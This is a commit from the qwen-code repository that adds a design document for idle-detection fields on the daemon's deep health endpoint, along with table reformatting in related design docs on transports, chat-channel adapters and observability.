mirror of
https://github.com/QwenLM/qwen-code.git
synced 2026-07-09 17:19:02 +00:00
feat(serve): add daemon idle detection to GET /health?deep=true (#4934)
* docs(design): add daemon idle detection API design for machine reclamation When qwen daemon is deployed across multiple machines, an external scheduler needs a reliable signal to determine if a daemon is idle and the machine can be reclaimed. This design proposes enhancing GET /health?deep=true with activePrompts, connectedClients, channelAlive, lastActivityAt, and idleSinceMs fields. * feat(serve): add idle-detection fields to GET /health?deep=true * fix(test): add activePromptCount and lastActivityAt to fakeBridge Update the test helper to satisfy the expanded AcpSessionBridge interface so /health?deep=true tests pass with the new fields. * test(idle-detection): add unit tests for activePromptCount, lastActivityAt and /health?deep=true new fields * refactor(bridge): replace activePromptCount iteration with O(1) counter * fix(bridge): move idleSinceMs computation into bridge to eliminate race window * fix(idle-detection): keep daemon health state consistent Guard prompt teardown so activePromptCount only decrements once and compute deep health idle fields from the same activity snapshot. * fix(acp): prevent active prompt leak after channel crash Reject queued prompts after their session entry has been torn down so daemon health does not report phantom active prompts. --------- Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
This commit is contained in:
parent
19307eb0a6
commit
858c900af9
21 changed files with 876 additions and 177 deletions
219
docs/design/daemon-idle-detection-api.md
Normal file
219
docs/design/daemon-idle-detection-api.md
Normal file
|
|
@ -0,0 +1,219 @@
|
|||
# Daemon 闲置检测接口设计
|
||||
|
||||
## 背景
|
||||
|
||||
### 问题
|
||||
|
||||
Qwen Daemon 会部署在多台机器上作为长驻服务。当 Daemon 长时间无任务执行时,继续占用机器资源是浪费。外部调度器(K8s HPA / 自定义 Scaler)需要一个可靠的信号来判断 Daemon 是否处于闲置状态,以便做缩容回收。
|
||||
|
||||
### 现状
|
||||
|
||||
目前可用的接口:
|
||||
|
||||
| 接口 | 返回信息 | 局限 |
|
||||
|------|----------|------|
|
||||
| `GET /health?deep=true` | `{ sessions, pendingPermissions }` | 只有 session 数量,无法区分"有 session 但空闲"和"有 session 正在工作" |
|
||||
| `GET /workspace/:cwd/sessions` | 每个 session 的 `hasActivePrompt` + `clientCount` | 需要额外一次请求,且无时间维度信息(多久没活动了?) |
|
||||
|
||||
**核心缺失**:
|
||||
1. 没有汇总级别的"是否有活跃 prompt"指标
|
||||
2. 没有"最后活动时间",外部系统需要自己维护状态机来计算空闲时长
|
||||
3. 没有 SSE 连接数暴露(已内部维护 `activeSseCount`,但 `/health` 未返回)
|
||||
4. 没有 channel(agent 子进程)存活状态暴露
|
||||
|
||||
## 设计目标
|
||||
|
||||
提供一个**单次 HTTP 调用即可完成闲置判断**的接口,满足:
|
||||
- 外部调度器一次 GET 即可判断是否可回收
|
||||
- 支持时间维度(空闲了多久),避免外部维护状态
|
||||
- 向后兼容现有 `/health` 行为
|
||||
- 零额外依赖,利用已有内部状态
|
||||
|
||||
## 方案
|
||||
|
||||
### 增强 `GET /health?deep=true` 响应
|
||||
|
||||
在现有 `/health?deep=true` 返回中追加字段:
|
||||
|
||||
```jsonc
|
||||
// GET /health?deep=true
|
||||
{
|
||||
"status": "ok",
|
||||
|
||||
// --- 已有字段(不变)---
|
||||
"sessions": 2,
|
||||
"pendingPermissions": 0,
|
||||
|
||||
// --- 新增字段 ---
|
||||
"activePrompts": 1, // 正在执行 prompt 的 session 数
|
||||
"connectedClients": 3, // 活跃 SSE 连接数
|
||||
"channelAlive": true, // agent 子进程是否存活
|
||||
"lastActivityAt": "2026-06-10T08:30:00.000Z", // 最后一次活动时间(ISO 8601)
|
||||
"idleSinceMs": 120000 // 距离最后活动已经过去的毫秒数
|
||||
}
|
||||
```
|
||||
|
||||
### 字段定义
|
||||
|
||||
| 字段 | 类型 | 语义 |
|
||||
|------|------|------|
|
||||
| `activePrompts` | `number` | 当前 `promptActive === true` 的 session 计数 |
|
||||
| `connectedClients` | `number` | 当前活跃 SSE 连接数(已有 `activeSseCount`) |
|
||||
| `channelAlive` | `boolean` | agent 子进程是否存活(已有 `bridge.isChannelLive()`) |
|
||||
| `lastActivityAt` | `string \| null` | 最后一次 prompt 开始或完成的 ISO 时间戳;daemon 启动后从未有过 prompt 时为 `null` |
|
||||
| `idleSinceMs` | `number \| null` | `Date.now() - lastActivityAt`;无活动记录时为 `null` |
|
||||
|
||||
### "活动" 的定义
|
||||
|
||||
以下事件视为"活动",会刷新 `lastActivityAt`:
|
||||
- prompt 开始执行(`promptActive` 从 false → true)
|
||||
- prompt 完成/失败(`promptActive` 从 true → false)
|
||||
- 新 session 创建(`spawnOrAttach` 成功)
|
||||
- session 恢复/加载(`loadSession` / `resumeSession` 成功)
|
||||
|
||||
**不**视为活动的事件(避免误判):
|
||||
- SSE 连接/断开
|
||||
- 心跳 heartbeat
|
||||
- `/health` 请求本身
|
||||
- permission 请求/响应
|
||||
|
||||
### 闲置判断规则(供外部调度器参考)
|
||||
|
||||
```python
|
||||
def should_reclaim(health, idle_threshold_ms=300_000):
|
||||
"""建议回收条件:空闲超过阈值(默认 5 分钟)"""
|
||||
if health["activePrompts"] > 0:
|
||||
return False # 有任务在跑
|
||||
if health["connectedClients"] > 0:
|
||||
return False # 有客户端连着
|
||||
if health["idleSinceMs"] is None:
|
||||
# 从未有过活动 — 可能是刚启动的 cold daemon
|
||||
return True
|
||||
return health["idleSinceMs"] >= idle_threshold_ms
|
||||
```
|
||||
|
||||
## 涉及代码改动
|
||||
|
||||
### 1. `packages/acp-bridge/src/bridgeTypes.ts`
|
||||
|
||||
在 `AcpSessionBridge` 接口新增:
|
||||
|
||||
```typescript
|
||||
/** 正在执行 prompt 的 session 数量 */
|
||||
get activePromptCount(): number;
|
||||
|
||||
/** 最后一次活动时间戳(epoch ms),null 表示从未有过活动 */
|
||||
get lastActivityAt(): number | null;
|
||||
```
|
||||
|
||||
### 2. `packages/acp-bridge/src/bridge.ts`
|
||||
|
||||
在 `createAcpSessionBridge` 工厂函数内:
|
||||
|
||||
```typescript
|
||||
// 新增状态追踪
|
||||
let lastActivityTimestamp: number | null = null;
|
||||
|
||||
function touchActivity(): void {
|
||||
lastActivityTimestamp = Date.now();
|
||||
}
|
||||
```
|
||||
|
||||
在以下位置调用 `touchActivity()`:
|
||||
- `entry.promptActive = true`(~line 2528)— prompt 开始
|
||||
- `entry.promptActive = false`(~line 2551, 2559)— prompt 结束
|
||||
- `doSpawn` 成功创建 session 后(~line 1906 附近)
|
||||
- `restoreSession` 成功后
|
||||
|
||||
在返回对象中暴露:
|
||||
|
||||
```typescript
|
||||
get activePromptCount() {
|
||||
let count = 0;
|
||||
for (const entry of byId.values()) {
|
||||
if (entry.promptActive) count++;
|
||||
}
|
||||
return count;
|
||||
},
|
||||
|
||||
get lastActivityAt() {
|
||||
return lastActivityTimestamp;
|
||||
},
|
||||
```
|
||||
|
||||
### 3. `packages/cli/src/serve/server.ts`
|
||||
|
||||
修改 `healthHandler`(~line 803)中 `deep` 分支:
|
||||
|
||||
```typescript
|
||||
const healthHandler = (req: Request, res: Response): void => {
|
||||
const deepQuery = req.query['deep'];
|
||||
const deep = deepQuery === '1' || deepQuery === 'true' || deepQuery === '';
|
||||
if (!deep) {
|
||||
res.status(200).json({ status: 'ok' });
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const lastActivityAt = bridge.lastActivityAt;
|
||||
const now = Date.now();
|
||||
res.status(200).json({
|
||||
status: 'ok',
|
||||
// 已有
|
||||
sessions: bridge.sessionCount,
|
||||
pendingPermissions: bridge.pendingPermissionCount,
|
||||
// 新增
|
||||
activePrompts: bridge.activePromptCount,
|
||||
connectedClients: getActiveSseCount(),
|
||||
channelAlive: bridge.isChannelLive(),
|
||||
lastActivityAt: lastActivityAt !== null
|
||||
? new Date(lastActivityAt).toISOString()
|
||||
: null,
|
||||
idleSinceMs: lastActivityAt !== null
|
||||
? now - lastActivityAt
|
||||
: null,
|
||||
});
|
||||
} catch (err) {
|
||||
writeStderrLine(
|
||||
`qwen serve: /health deep probe failed: ${err instanceof Error ? err.message : String(err)}`,
|
||||
);
|
||||
res.status(503).json({ status: 'degraded' });
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
### 4. `packages/cli/src/serve/server.test.ts`
|
||||
|
||||
新增测试用例覆盖:
|
||||
- `/health?deep=true` 返回新字段的正确性
|
||||
- 无 session 时 `activePrompts === 0`、`idleSinceMs === null`
|
||||
- prompt 执行中 `activePrompts > 0`、`idleSinceMs` 持续刷新
|
||||
- prompt 完成后 `idleSinceMs` 开始递增
|
||||
|
||||
### 5. `packages/acp-bridge/src/bridge.test.ts`
|
||||
|
||||
新增测试用例覆盖:
|
||||
- `activePromptCount` 在 prompt 生命周期中的值变化
|
||||
- `lastActivityAt` 在各活动事件后被刷新
|
||||
- 多 session 并行时 `activePromptCount` 正确累加
|
||||
|
||||
## 文件变更清单
|
||||
|
||||
| 文件 | 改动类型 | 说明 |
|
||||
|------|----------|------|
|
||||
| `packages/acp-bridge/src/bridgeTypes.ts` | 接口扩展 | 新增 `activePromptCount`、`lastActivityAt` 属性 |
|
||||
| `packages/acp-bridge/src/bridge.ts` | 逻辑实现 | 新增 `lastActivityTimestamp` 追踪 + getter |
|
||||
| `packages/cli/src/serve/server.ts` | HTTP 响应扩展 | `/health?deep=true` 增加新字段 |
|
||||
| `packages/cli/src/serve/server.test.ts` | 测试 | 新增 health 接口新字段覆盖 |
|
||||
| `packages/acp-bridge/src/bridge.test.ts` | 测试 | 新增 bridge 属性覆盖 |
|
||||
|
||||
## 兼容性
|
||||
|
||||
- **向后兼容**:新字段是追加的,不修改/删除任何已有字段
|
||||
- **`GET /health`(非 deep)**:行为不变,仍只返回 `{ "status": "ok" }`
|
||||
- **OTel Gauge**:已有的 `registerDaemonGaugeCallbacks` 可选后续追加 `activePrompts` gauge,但不在本次范围内
|
||||
|
||||
## 后续扩展(不在本次范围)
|
||||
|
||||
1. **自动 shutdown**:daemon 内置 `--auto-shutdown-idle-ms` 参数,空闲超时后自行退出(适合 systemd/K8s Pod 场景)
|
||||
2. **OTel 指标暴露**:将 `activePrompts`、`idleSinceMs` 作为 gauge 注册到 OTel meter
|
||||
3. **Webhook 回调**:空闲超阈值时主动推送事件到外部系统
|
||||
|
|
@ -66,7 +66,7 @@ One provider, one store, transport is an internal detail. Third parties pass
|
|||
|
||||
```typescript
|
||||
interface DaemonTransportFetchOptions {
|
||||
timeout?: number; // 0 = no timeout. undefined = transport default.
|
||||
timeout?: number; // 0 = no timeout. undefined = transport default.
|
||||
}
|
||||
|
||||
interface DaemonTransportSubscribeOptions {
|
||||
|
|
@ -141,11 +141,11 @@ class DaemonTransportClosedError extends Error {}
|
|||
|
||||
`subscribeEvents` has fundamentally different wire semantics per transport:
|
||||
|
||||
| Transport | Wire mechanism |
|
||||
|-----------|---------------|
|
||||
| REST | `GET /session/:id/events` → SSE → `parseSseStream` → `DaemonEvent` |
|
||||
| ACP HTTP | `GET /acp` (session-scoped SSE) → JSON-RPC notification unwrap |
|
||||
| ACP WS | Demux notifications from shared socket by sessionId |
|
||||
| Transport | Wire mechanism |
|
||||
| --------- | ------------------------------------------------------------------ |
|
||||
| REST | `GET /session/:id/events` → SSE → `parseSseStream` → `DaemonEvent` |
|
||||
| ACP HTTP | `GET /acp` (session-scoped SSE) → JSON-RPC notification unwrap |
|
||||
| ACP WS | Demux notifications from shared socket by sessionId |
|
||||
|
||||
Forcing these through a fetch-shaped hole requires SSE re-encoding/decoding
|
||||
(WS → fake SSE text → `parseSseStream` → DaemonEvent) — wasteful and fragile.
|
||||
|
|
@ -156,6 +156,7 @@ semantics regardless of transport.
|
|||
### 2.3 Why fetch-level, not method-dispatch
|
||||
|
||||
DaemonClient's 67 methods contain per-method HTTP branching:
|
||||
|
||||
- `prompt()`: 202 vs 200 status check
|
||||
- `deleteWorkspaceAgent()`: 204 vs 404 with body inspection
|
||||
- `respondToPermission()`: 200 vs 404 for race detection
|
||||
|
|
@ -170,13 +171,14 @@ all this logic in every transport. Fetch-level keeps DaemonClient unchanged.
|
|||
export interface DaemonClientOptions {
|
||||
baseUrl: string;
|
||||
token?: string;
|
||||
fetch?: typeof globalThis.fetch; // Kept
|
||||
fetchTimeoutMs?: number; // Kept
|
||||
transport?: DaemonTransport; // NEW — optional override
|
||||
fetch?: typeof globalThis.fetch; // Kept
|
||||
fetchTimeoutMs?: number; // Kept
|
||||
transport?: DaemonTransport; // NEW — optional override
|
||||
}
|
||||
```
|
||||
|
||||
Internal changes:
|
||||
|
||||
- Constructor: `this.transport = opts.transport ?? new RestSseTransport(...)`
|
||||
- `fetchWithTimeout`: delegate to `this.transport.fetch(url, init, { timeout })`
|
||||
- 6 direct `this._fetch` sites (prompt, promptNonBlocking, recapSession,
|
||||
|
|
@ -198,7 +200,7 @@ bypassing the provider:
|
|||
interface DaemonWorkspaceProviderProps {
|
||||
baseUrl: string;
|
||||
token?: string;
|
||||
transport?: DaemonTransport; // NEW — forwarded to DaemonClient
|
||||
transport?: DaemonTransport; // NEW — forwarded to DaemonClient
|
||||
// ...existing props
|
||||
}
|
||||
|
||||
|
|
@ -207,8 +209,9 @@ interface DaemonWorkspaceProviderProps {
|
|||
```
|
||||
|
||||
When `transport` is provided, the provider passes it to `DaemonClient`:
|
||||
|
||||
```typescript
|
||||
new DaemonClient({ baseUrl, token, transport: props.transport })
|
||||
new DaemonClient({ baseUrl, token, transport: props.transport });
|
||||
```
|
||||
|
||||
When omitted: current behavior (REST+SSE). ~5 lines of provider change.
|
||||
|
|
@ -221,8 +224,8 @@ Wraps `globalThis.fetch` + extracts current SSE logic from
|
|||
```typescript
|
||||
class RestSseTransport implements DaemonTransport {
|
||||
readonly type = 'rest' as const;
|
||||
readonly supportsReplay = true; // SSE supports Last-Event-ID
|
||||
readonly connected = true; // REST is stateless
|
||||
readonly supportsReplay = true; // SSE supports Last-Event-ID
|
||||
readonly connected = true; // REST is stateless
|
||||
|
||||
constructor(
|
||||
private readonly baseUrl: string,
|
||||
|
|
@ -230,7 +233,9 @@ class RestSseTransport implements DaemonTransport {
|
|||
private readonly _fetch: typeof globalThis.fetch,
|
||||
) {}
|
||||
|
||||
fetch(url, init, opts?) { return this._fetch(url, init); }
|
||||
fetch(url, init, opts?) {
|
||||
return this._fetch(url, init);
|
||||
}
|
||||
|
||||
async *subscribeEvents(sessionId, opts) {
|
||||
// Current DaemonClient.subscribeEvents logic moved here:
|
||||
|
|
@ -240,13 +245,14 @@ class RestSseTransport implements DaemonTransport {
|
|||
// - fetch → validate content-type → parseSseStream → yield
|
||||
}
|
||||
|
||||
dispose() {} // no-op
|
||||
dispose() {} // no-op
|
||||
}
|
||||
```
|
||||
|
||||
### 2.6 ACP transport internals
|
||||
|
||||
**AcpWsTransport** (~400-600 lines):
|
||||
|
||||
- Lazy-init: first `fetch` call opens WS + sends `initialize`
|
||||
- URL→JSON-RPC mapping table: `/session/:id/prompt` → `{method: "session/prompt", params: {sessionId: id, ...body}}`
|
||||
- Request multiplexer: `Map<id, {resolve, reject}>` for pending requests
|
||||
|
|
@ -256,6 +262,7 @@ class RestSseTransport implements DaemonTransport {
|
|||
- Synthesizes `Response` objects with correct `.status`/`.json()`/`.text()`
|
||||
|
||||
**AcpHttpTransport** (~800-1000 lines):
|
||||
|
||||
- Lazy-init: first `fetch` call sends `POST /acp {initialize}`
|
||||
- Manages conn-scoped + session-scoped SSE streams internally
|
||||
- Same URL→JSON-RPC mapping + request correlation
|
||||
|
|
@ -281,6 +288,7 @@ const transport = await DaemonTransport.negotiate(baseUrl, token);
|
|||
```
|
||||
|
||||
Implementation:
|
||||
|
||||
1. `GET /capabilities` → read `transports` array
|
||||
2. If `acp-ws` in list → try WS upgrade; on success return `AcpWsTransport`
|
||||
3. If WS fails or not in list → try `acp-http`; on success return `AcpHttpTransport`
|
||||
|
|
@ -314,6 +322,7 @@ The transport does not silently switch protocols — it fails loudly
|
|||
(`DaemonTransportClosedError`) and the consumer decides whether to rebuild.
|
||||
|
||||
Rationale:
|
||||
|
||||
- WS teardown destroys all owned sessions server-side (`registry.delete` →
|
||||
`conn.destroy`). A silent switch would hide this data loss.
|
||||
- `session/load` re-attaches to the existing bridge session (transcripts
|
||||
|
|
@ -355,35 +364,35 @@ code is additive and opt-in. `new DaemonClient({ baseUrl, token })` without
|
|||
|
||||
### Verdict: zero breaking changes
|
||||
|
||||
| Public API | Change | Breaking? |
|
||||
|-----------|--------|:---------:|
|
||||
| `new DaemonClient({ baseUrl, token })` | No change | ❌ |
|
||||
| `DaemonClientOptions.*` | All kept, `transport` added | ❌ |
|
||||
| `DaemonHttpError` | Unchanged | ❌ |
|
||||
| `DaemonSessionClient` | Zero changes (delegates to DaemonClient) | ❌ |
|
||||
| All type exports (100+) | Unchanged | ❌ |
|
||||
| Public API | Change | Breaking? |
|
||||
| -------------------------------------- | ---------------------------------------- | :-------: |
|
||||
| `new DaemonClient({ baseUrl, token })` | No change | ❌ |
|
||||
| `DaemonClientOptions.*` | All kept, `transport` added | ❌ |
|
||||
| `DaemonHttpError` | Unchanged | ❌ |
|
||||
| `DaemonSessionClient` | Zero changes (delegates to DaemonClient) | ❌ |
|
||||
| All type exports (100+) | Unchanged | ❌ |
|
||||
|
||||
### Per-consumer impact
|
||||
|
||||
| Consumer | Impact |
|
||||
|----------|--------|
|
||||
| webui (25 files) | Zero code changes |
|
||||
| web-shell (4 files) | Zero code changes |
|
||||
| vscode-ide-companion (1 file) | Zero code changes |
|
||||
| Third-party | Zero for REST; pass `transport` for ACP |
|
||||
| Consumer | Impact |
|
||||
| ----------------------------- | --------------------------------------- |
|
||||
| webui (25 files) | Zero code changes |
|
||||
| web-shell (4 files) | Zero code changes |
|
||||
| vscode-ide-companion (1 file) | Zero code changes |
|
||||
| Third-party | Zero for REST; pass `transport` for ACP |
|
||||
|
||||
---
|
||||
|
||||
## 4. Design decisions
|
||||
|
||||
| Decision | Rationale |
|
||||
|----------|-----------|
|
||||
| `subscribeEvents` on transport, not just `fetch` | SSE re-encoding through fetch is wasteful and fragile |
|
||||
| `connected: boolean` on transport | Provider reconnect loop needs to distinguish "transport dead" from "transient 500" |
|
||||
| Lazy-init (not explicit `connect()`) | Keeps DaemonClient construction synchronous; default `new RestSseTransport()` needs no init |
|
||||
| Auto-detection is one-shot, not mid-session | `negotiate()` probes once at startup; runtime fallback is consumer-driven via `DaemonTransportClosedError`, not silent internal switch |
|
||||
| No error taxonomy prerequisite | ACP transports map errors to HTTP-equivalent status codes internally; `DaemonHttpError` works as-is |
|
||||
| Provider gets `transport` prop | `DaemonWorkspaceProvider` gains optional `transport` prop (~5 lines), forwarded to `DaemonClient` constructor. Third parties set this prop; omitting it = current REST behavior |
|
||||
| Decision | Rationale |
|
||||
| ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `subscribeEvents` on transport, not just `fetch` | SSE re-encoding through fetch is wasteful and fragile |
|
||||
| `connected: boolean` on transport | Provider reconnect loop needs to distinguish "transport dead" from "transient 500" |
|
||||
| Lazy-init (not explicit `connect()`) | Keeps DaemonClient construction synchronous; default `new RestSseTransport()` needs no init |
|
||||
| Auto-detection is one-shot, not mid-session | `negotiate()` probes once at startup; runtime fallback is consumer-driven via `DaemonTransportClosedError`, not silent internal switch |
|
||||
| No error taxonomy prerequisite | ACP transports map errors to HTTP-equivalent status codes internally; `DaemonHttpError` works as-is |
|
||||
| Provider gets `transport` prop | `DaemonWorkspaceProvider` gains optional `transport` prop (~5 lines), forwarded to `DaemonClient` constructor. Third parties set this prop; omitting it = current REST behavior |
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -419,20 +428,20 @@ Parallel `AcpSessionProvider` + `ChatBridgeContext` + `SessionBridgeContext`.
|
|||
|
||||
All changes land in one PR. Estimated ~1300 lines total.
|
||||
|
||||
| File | Change | Lines |
|
||||
|------|--------|-------|
|
||||
| `packages/sdk-typescript/src/daemon/DaemonTransport.ts` | Interface + types + `DaemonTransportClosedError` + `negotiate()` factory | ~110 |
|
||||
| `packages/sdk-typescript/src/daemon/RestSseTransport.ts` | Wraps `globalThis.fetch` + SSE logic extracted from DaemonClient | ~80 |
|
||||
| `packages/sdk-typescript/src/daemon/AcpWsTransport.ts` | WS multiplexer + URL→JSON-RPC mapping + request correlation | ~400 |
|
||||
| `packages/sdk-typescript/src/daemon/AcpHttpTransport.ts` | POST /acp + conn/session SSE management | ~300 |
|
||||
| `packages/sdk-typescript/src/daemon/AcpEventDenormalizer.ts` | JSON-RPC notification → DaemonEvent mapping | ~150 |
|
||||
| `packages/sdk-typescript/src/daemon/AutoReconnectTransport.ts` | Opt-in wrapper: reconnect + fallback | ~150 |
|
||||
| `packages/sdk-typescript/src/daemon/DaemonClient.ts` | Constructor + 6 `_fetch` sites + subscribeEvents rewrite | ~40 net |
|
||||
| `packages/sdk-typescript/src/daemon/index.ts` | Export new types | ~10 |
|
||||
| `packages/cli/src/serve/server.ts` | Add `transports` field to `GET /capabilities` | ~5 |
|
||||
| `packages/sdk-typescript/src/daemon/types.ts` | Add `transports` to `DaemonCapabilities` type | ~3 |
|
||||
| `packages/webui/src/daemon/workspace/DaemonWorkspaceProvider.tsx` | Add optional `transport` prop, forward to `DaemonClient` | ~5 |
|
||||
| Tests | Transport unit + integration tests | ~200 |
|
||||
| File | Change | Lines |
|
||||
| ----------------------------------------------------------------- | ------------------------------------------------------------------------ | ------- |
|
||||
| `packages/sdk-typescript/src/daemon/DaemonTransport.ts` | Interface + types + `DaemonTransportClosedError` + `negotiate()` factory | ~110 |
|
||||
| `packages/sdk-typescript/src/daemon/RestSseTransport.ts` | Wraps `globalThis.fetch` + SSE logic extracted from DaemonClient | ~80 |
|
||||
| `packages/sdk-typescript/src/daemon/AcpWsTransport.ts` | WS multiplexer + URL→JSON-RPC mapping + request correlation | ~400 |
|
||||
| `packages/sdk-typescript/src/daemon/AcpHttpTransport.ts` | POST /acp + conn/session SSE management | ~300 |
|
||||
| `packages/sdk-typescript/src/daemon/AcpEventDenormalizer.ts` | JSON-RPC notification → DaemonEvent mapping | ~150 |
|
||||
| `packages/sdk-typescript/src/daemon/AutoReconnectTransport.ts` | Opt-in wrapper: reconnect + fallback | ~150 |
|
||||
| `packages/sdk-typescript/src/daemon/DaemonClient.ts` | Constructor + 6 `_fetch` sites + subscribeEvents rewrite | ~40 net |
|
||||
| `packages/sdk-typescript/src/daemon/index.ts` | Export new types | ~10 |
|
||||
| `packages/cli/src/serve/server.ts` | Add `transports` field to `GET /capabilities` | ~5 |
|
||||
| `packages/sdk-typescript/src/daemon/types.ts` | Add `transports` to `DaemonCapabilities` type | ~3 |
|
||||
| `packages/webui/src/daemon/workspace/DaemonWorkspaceProvider.tsx` | Add optional `transport` prop, forward to `DaemonClient` | ~5 |
|
||||
| Tests | Transport unit + integration tests | ~200 |
|
||||
|
||||
**Backward compatibility**: `new DaemonClient({ baseUrl, token })` without
|
||||
`transport` = identical REST+SSE behavior. All existing tests pass unchanged.
|
||||
|
|
@ -464,10 +473,10 @@ All changes land in one PR. Estimated ~1300 lines total.
|
|||
|
||||
## 8. Risks
|
||||
|
||||
| Risk | Mitigation |
|
||||
|------|-----------|
|
||||
| URL→JSON-RPC mapping table maintenance | Table co-located with transport; daemon route changes require transport update |
|
||||
| ACP WS synthesized Response fidelity | Provide `syntheticResponse(status, json)` helper; document contract (`.json()`, `.text()`, `.status`, `.body?.cancel()`) |
|
||||
| `DaemonEvent.id` monotonicity for WS | ACP server's JSON-RPC notifications carry event id; transport surfaces it directly |
|
||||
| Prompt 202 vs 200 for WS | Transport maps JSON-RPC response → 200 with result body (blocking path); events still flow via `subscribeEvents` |
|
||||
| WS connection drop detection | `connected: boolean` + `DaemonTransportClosedError` thrown from `fetch` |
|
||||
| Risk | Mitigation |
|
||||
| -------------------------------------- | ------------------------------------------------------------------------------------------------------------------------ |
|
||||
| URL→JSON-RPC mapping table maintenance | Table co-located with transport; daemon route changes require transport update |
|
||||
| ACP WS synthesized Response fidelity | Provide `syntheticResponse(status, json)` helper; document contract (`.json()`, `.text()`, `.status`, `.body?.cancel()`) |
|
||||
| `DaemonEvent.id` monotonicity for WS | ACP server's JSON-RPC notifications carry event id; transport surfaces it directly |
|
||||
| Prompt 202 vs 200 for WS | Transport maps JSON-RPC response → 200 with result body (blocking path); events still flow via `subscribeEvents` |
|
||||
| WS connection drop detection | `connected: boolean` + `DaemonTransportClosedError` thrown from `fetch` |
|
||||
|
|
|
|||
|
|
@ -60,11 +60,11 @@ Handles common cross-cutting concerns: sender gating (allowlist / denylist), gro
|
|||
|
||||
### Per-channel adapters
|
||||
|
||||
| Adapter | File | Transport | Notes |
|
||||
| --------------- | --------------------------------------------------- | ----------------------------------- | ---------------------------------------------------------------------------------------- |
|
||||
| DingTalk | `packages/channels/dingtalk/src/DingtalkAdapter.ts` | DingTalk Stream SDK WebSocket | Sends via `sessionWebhook` POST; media images downloaded via DT API, base64 in envelope. |
|
||||
| WeChat (Weixin) | `packages/channels/weixin/src/WeixinAdapter.ts` | iLink Bot HTTP long-poll | Sends via proprietary `sendText` / `sendImage` API; typing indicators. |
|
||||
| Telegram | `packages/channels/telegram/src/TelegramAdapter.ts` | Telegram Bot API long-poll (grammy) | Sends HTML chunks via `sendMessage`. |
|
||||
| Adapter | File | Transport | Notes |
|
||||
| --------------- | --------------------------------------------------- | ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------ |
|
||||
| DingTalk | `packages/channels/dingtalk/src/DingtalkAdapter.ts` | DingTalk Stream SDK WebSocket | Sends via `sessionWebhook` POST; media images downloaded via DT API, base64 in envelope. |
|
||||
| WeChat (Weixin) | `packages/channels/weixin/src/WeixinAdapter.ts` | iLink Bot HTTP long-poll | Sends via proprietary `sendText` / `sendImage` API; typing indicators. |
|
||||
| Telegram | `packages/channels/telegram/src/TelegramAdapter.ts` | Telegram Bot API long-poll (grammy) | Sends HTML chunks via `sendMessage`. |
|
||||
| Feishu | `packages/channels/feishu/src/FeishuAdapter.ts` | Feishu/Lark Stream WebSocket (default) or HTTP webhook | Sends via Lark SDK as interactive cards; webhook mode requires `encryptKey` for HMAC signature verification. |
|
||||
|
||||
Each adapter implements:
|
||||
|
|
@ -77,11 +77,11 @@ Each adapter implements:
|
|||
|
||||
### Adapter matrix
|
||||
|
||||
| Adapter | Transport | Identity | Permission UX | Auto-approve config |
|
||||
| ------------ | ----------------- | -------------------------------------------------------- | ----------------------------------- | ------------------------------------------------- |
|
||||
| **DingTalk** | WebSocket stream | `senderStaffId` (+ optional `conversationId` for groups) | Inline buttons via DT markdown | `ChannelConfig.approvalMode = 'auto' \| 'prompt'` |
|
||||
| **WeChat** | HTTP long-poll | `senderWxid` (+ optional `groupWxid`) | Text-only prompts with reply tokens | Same |
|
||||
| **Telegram** | Bot API long-poll | `from.id` (+ optional `chat.id` for groups) | Inline keyboard buttons | Same |
|
||||
| Adapter | Transport | Identity | Permission UX | Auto-approve config |
|
||||
| ------------ | ------------------------------- | -------------------------------------------------------- | ----------------------------------- | ------------------------------------------------- |
|
||||
| **DingTalk** | WebSocket stream | `senderStaffId` (+ optional `conversationId` for groups) | Inline buttons via DT markdown | `ChannelConfig.approvalMode = 'auto' \| 'prompt'` |
|
||||
| **WeChat** | HTTP long-poll | `senderWxid` (+ optional `groupWxid`) | Text-only prompts with reply tokens | Same |
|
||||
| **Telegram** | Bot API long-poll | `from.id` (+ optional `chat.id` for groups) | Inline keyboard buttons | Same |
|
||||
| **Feishu** | WebSocket stream / HTTP webhook | `sender.open_id` (+ optional `chat_id` for groups) | Interactive card buttons | Same |
|
||||
|
||||
> **Note:** The "Permission UX" column describes each platform's native affordance, but none is wired up yet — `AcpBridge.requestPermission` currently auto-approves every request (`packages/channels/base/src/AcpBridge.ts`), and `ChannelConfig.approvalMode` is declared but not yet read. Interactive approval is planned (Phase 5).
|
||||
|
|
|
|||
|
|
@ -6,22 +6,22 @@
|
|||
|
||||
## What exists today
|
||||
|
||||
| Surface | Location | Purpose |
|
||||
| ------------------------------------------- | ---------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `QWEN_SERVE_DEBUG` stderr logs | `bridge.ts` and call sites | Env values `1` / `true` / `on` / `yes` (case-insensitive) print `qwen serve debug: ...` lines to stderr. |
|
||||
| OpenTelemetry span instrumentation | `server.ts` `daemonTelemetryMiddleware` | Each HTTP request is wrapped in `withDaemonRequestSpan`; attributes include route, sessionId, clientId, and status code. Permission routes have dedicated spans. Prompt lifecycle is traced end-to-end. Configuration lives in `settings.json` `telemetry`. |
|
||||
| `DaemonLogger` structured file logs | `serve/daemonLogger.ts` | Structured JSON-like log lines are written to a file. Boot prints `daemon log -> <path>`. Supports `info` / `warn` / `error` levels, with structured fields such as `route`, `sessionId`, `clientId`, `childPid`, and `channelId`. |
|
||||
| Per-request access-log middleware | `server.ts`, registered before `bearerAuth` | Logs `method`, `path`, `status`, `durationMs`, `sessionId`, and `clientId` after each request. Skips `GET /health` and heartbeat. 4xx+ uses `warn`; success uses `info`. |
|
||||
| `/health` | `server.ts` route | Liveness probe; `?deep=1` returns extended details. |
|
||||
| `/capabilities` | `server.ts` route | Preflight feature discovery. See [`11-capabilities-versioning.md`](./11-capabilities-versioning.md). |
|
||||
| `/workspace/preflight` | Route -> `DaemonStatusProvider` | Structured readiness cells: Node version, CLI entry, ripgrep, git, npm, plus ACP-level cells once a child is alive. |
|
||||
| `/workspace/env` | Route -> `DaemonStatusProvider` | Daemon process env snapshot. Secret env vars report only presence; proxy URL credentials are stripped. |
|
||||
| `/workspace/mcp` | Route -> bridge extMethod | Pool, budget, and refusal snapshot. |
|
||||
